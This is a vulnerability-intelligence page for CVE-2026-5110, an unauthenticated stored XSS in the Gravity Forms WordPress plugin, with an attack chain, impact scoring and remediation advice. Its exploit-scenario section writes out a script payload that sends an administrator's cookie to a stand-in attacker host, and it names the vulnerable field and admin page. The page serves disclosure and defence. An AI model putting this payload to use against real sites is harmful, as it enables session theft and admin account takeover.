Skip to main content

Gravity Forms CVE-2026-5110

| EUVDEUVD-2026-26742 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-02 Wordfence
7.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Access public Gravity Form
  2. Delivery
    Submit form with XSS in nested SingleProduct field
  3. Exploit
    Bypass validation via validate_subfield()
  4. Install
    Store unsanitized payload in WordPress database
  5. C2
    Admin views entry in wp-admin
  6. Execute
    Execute JavaScript in admin session
  7. Impact
    Exfiltrate session tokens or perform admin actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the target WordPress site to use Gravity Forms plugin version ≤2.10.0 with a publicly accessible form configured to use SingleProduct fields nested inside Repeater fields. This specific nested field configuration is the prerequisite that enables the validation bypass - sites using SingleProduct fields outside of Repeater contexts or not using SingleProduct fields at all are not vulnerable. The form must be publicly accessible to allow unauthenticated submission (standard configuration for most Gravity Forms). Exploitation also requires an administrator to subsequently view the malicious entry via the WordPress admin panel (wp-admin/admin.php?page=gf_entries), making this a two-stage attack where payload delivery is unauthenticated but payload execution depends on admin interaction timing. The CVSS UI:N rating is misleading in this context - it applies to payload injection (no user interaction required for form submission) but not execution (requires admin to view entry). Attack vector is network-based (AV:N) against default WordPress/Gravity Forms configurations. No special network positioning, authentication, or platform requirements beyond the nested field configuration.

Impact

Real-world risk is MODERATE despite the 7.2 CVSS score. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C) indicates network attack vector with no authentication required and changed scope, but this is somewhat misleading - the UI:N rating applies only to payload delivery (form submission), not payload execution which requires administrator interaction (viewing entries). Attack complexity is low (AC:L) because exploiting the validation bypass requires only crafting form submissions with tampered product name fields. The Changed scope (S:C) is appropriate as the XSS executes in admin context with different privileges than the submission context. Impact is limited to Low Confidentiality and Low Integrity with No Availability impact (C:L/I:L/A:N), realistic for XSS that could steal admin session tokens or perform limited admin actions. No EPSS score, KEV status, or SSVC data provided for this CVE. Wordfence discovery suggests responsible disclosure. Exploitation requires the specific configuration of SingleProduct fields nested in Repeater fields, which limits attack surface to forms using this advanced feature combination. The requirement for admin interaction to view entries reduces immediate exploitation risk compared to client-side XSS, but stored XSS in admin panels is still a serious privilege escalation vector. Priority should be HIGH for organizations using Gravity Forms with the affected field configuration, MEDIUM for general Gravity Forms deployments pending patch confirmation.

Exploit ScenarioDerived

An unauthenticated attacker identifies a WordPress site running Gravity Forms with a public form containing SingleProduct fields nested in Repeater fields. The attacker crafts a form submission with JavaScript payload injected into the product name field (input .1), such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>. Because validate_subfield() only validates quantity and bypasses state validation for nested contexts, the malicious product name passes validation and is stored unsanitized in the WordPress database. When a site administrator logs into wp-admin and navigates to Gravity Forms entries (wp-admin/admin.php?page=gf_entries) to review submissions, the get_value_entry_detail() method outputs the unescaped payload, executing the JavaScript in the admin's browser. The script exfiltrates the admin's session cookie to the attacker's server, enabling account takeover. No public proof-of-concept identified at time of analysis, but the attack requires only standard form submission capabilities and knowledge of the nested field structure.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 02, 2026

Stored cross-site scripting (XSS) in Gravity Forms WordPress plugin versions ≤2.10.0 allows remote unauthenticated attackers to inject malicious JavaScript that executes when administrators view form entries. The vulnerability exploits a validation bypass in nested SingleProduct fields within Repeater fields, where product name tampering is not validated. When admins access compromised entries via wp-admin, the unsanitized payload executes in their browser session. CVSS 7.2 (AV:N/AC:L/PR:N/UI:N) indicates network-accessible exploitation without authentication or user interaction during payload delivery, though the attack requires subsequent admin interaction (viewing the entry) for payload execution. No active exploitation confirmed in CISA KEV at time of analysis.

RemediationAI

Update Gravity Forms to version 2.10.1 or later if available per the vendor changelog at https://docs.gravityforms.com/gravityforms-change-log/. The CVE references the changelog but does not cite a specific patched version - administrators should verify the latest release addresses CVE-2026-5110. As an immediate compensating control if patching is delayed, review all Gravity Forms configurations and temporarily disable or remove SingleProduct fields nested inside Repeater fields until upgrade completion. This mitigation eliminates the vulnerable code path but breaks functionality for forms using this feature combination. Alternatively, implement strict Content Security Policy (CSP) headers to prevent inline JavaScript execution in wp-admin (add 'script-src self' directive), though this may interfere with legitimate WordPress admin JavaScript and requires testing. Review all existing form entries for suspicious HTML content in product name fields via database query (wp_gf_entry_meta table) and sanitize any detected payloads. These workarounds provide defense-in-depth but do not fix the root cause - upgrading remains the primary remediation path per Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/f9135799-00db-447d-b795-faafeafbce67?source=cve.

Affected VersionsENISA

Gravity Forms 0 ≤2.10.0

Affected Packages

euvd gravity_forms no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gravity Forms is a premium WordPress form builder plugin (cpe:2.3:a:gravity_forms:gravity_forms). The vulnerability affects the SingleProduct field type when nested inside Repeater fields, a configuration that allows dynamic form sections. WordPress plugins written in PHP commonly use validation pipelines with state checking mechanisms. In this case, the validate_subfield() method only invokes the field's validate() method, which for SingleProduct fields validates quantity but not product names. The failed_state_validation() mechanism that normally prevents field value tampering is bypassed for nested contexts. After bypassing validation, the sanitize_entry_value() method returns raw unsanitized data because it does not expect HTML content in product name fields. The get_value_entry_detail() method then outputs this data without escaping when rendering entry details in the WordPress admin panel (wp-admin/admin.php?page=gf_entries). This chain of missing input validation (CWE-79: Improper Neutralization of Input During Web Page Generation) creates a stored XSS condition where malicious scripts persist in the database and execute in privileged admin contexts.

Know when Gravity Forms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Gravity Forms plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient input validation and output escaping in the SingleProduct field when used inside a Repeater field. When SingleProduct fields are nested within Repeater fields, the validation flow bypasses the state validation mechanism (failed_state_validation()) that would normally prevent tampering with field values. The validate_subfield() method only calls the field's validate() method, which for SingleProduct fields only validates the quantity field and does not check the product name field for tampering. As a result, an attacker can inject arbitrary HTML and JavaScript into the product name field (input .1). This malicious input is then saved to the database without sanitization because sanitize_entry_value() returns raw values when HTML is not expected for the field type. When an administrator views the entry in wp-admin/admin.php?page=gf_entries, the get_value_entry_detail() method outputs the product name without escaping, causing the stored XSS payload to execute in the administrator's browser. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses an entry containing the malicious payload.

Executive ViewAI

Why It Matters

Gravity Forms WordPress plugin versions 2.10.0 and earlier contain a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious code into form entries, which executes when administrators review those entries in WordPress. This could enable attackers to compromise administrator accounts and escalate privileges within WordPress installations using this widely-deployed plugin.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict wp-admin access to administrators via IP allowlisting or VPN-only access; (2) Implement Web Application Firewall (WAF) rules to detect and block XSS payloads in form submissions; (3) Disable Repeater fields with SingleProduct nested fields until patch available; (4) Review and sanitize all existing form entries for suspicious content; (5) Monitor administrator sessions for anomalous activity.

Threat Intelligence Overview

EPSS Score
0.0%
Top 98% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-84434 CRITICAL POC
9.8 Sep 19

Unauthenticated arbitrary file upload in the Gravity Forms WordPress plugin through version 3.1.0.4 can lead to remote c

CVE-2017-17780 MEDIUM POC
6.1 Dec 20

The Clockwork SMS clockwork-test-message.php component has XSS via a crafted "to" parameter in a clockwork-test-message

CVE-2023-2701 MEDIUM POC
6.1 Jul 17

The Gravity Forms WordPress plugin before 2.7.5 does not escape generated URLs before outputting them in attributes, lea

CVE-2026-103039 CRITICAL
9.8 Oct 30

Unauthenticated PHP object injection in the Gravity Forms WordPress plugin, affecting every version up to and including

CVE-2023-28782 HIGH
8.3 Dec 20

Deserialization of Untrusted Data vulnerability in Rocketgenius Inc. Rated high severity (CVSS 8.3), this vulnerability

CVE-2026-19513 HIGH
8.1 Sep 01

Arbitrary file upload in Gravity Forms for WordPress (all versions ≤ 3.0.2) allows unauthenticated attackers to write PH

CVE-2026-12997 HIGH
7.5 Jul 15

Arbitrary file disclosure in the Gravity Forms WordPress plugin (all versions through 2.10.4) lets unauthenticated attac

CVE-2026-97645 HIGH
7.2 Oct 30

Stored cross-site scripting in the Gravity Forms WordPress plugin through 3.1.2 allows unauthenticated form submitters t

CVE-2026-90437 HIGH
7.2 Oct 30

Stored cross-site scripting in the Gravity Forms plugin for WordPress, affecting all versions up to and including 3.1.1,

CVE-2026-16649 HIGH
7.2 Sep 05

Stored Cross-Site Scripting in the Gravity Forms WordPress plugin (all versions ≤2.10.5) permits unauthenticated attacke

CVE-2026-5111 HIGH
7.2 May 02

Stored Cross-Site Scripting in Gravity Forms plugin for WordPress through version 2.10.0 allows unauthenticated remote a

CVE-2026-5109 HIGH
7.2 May 02

Stored XSS in Gravity Forms for WordPress ≤2.10.0 allows unauthenticated remote attackers to inject malicious JavaScript

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy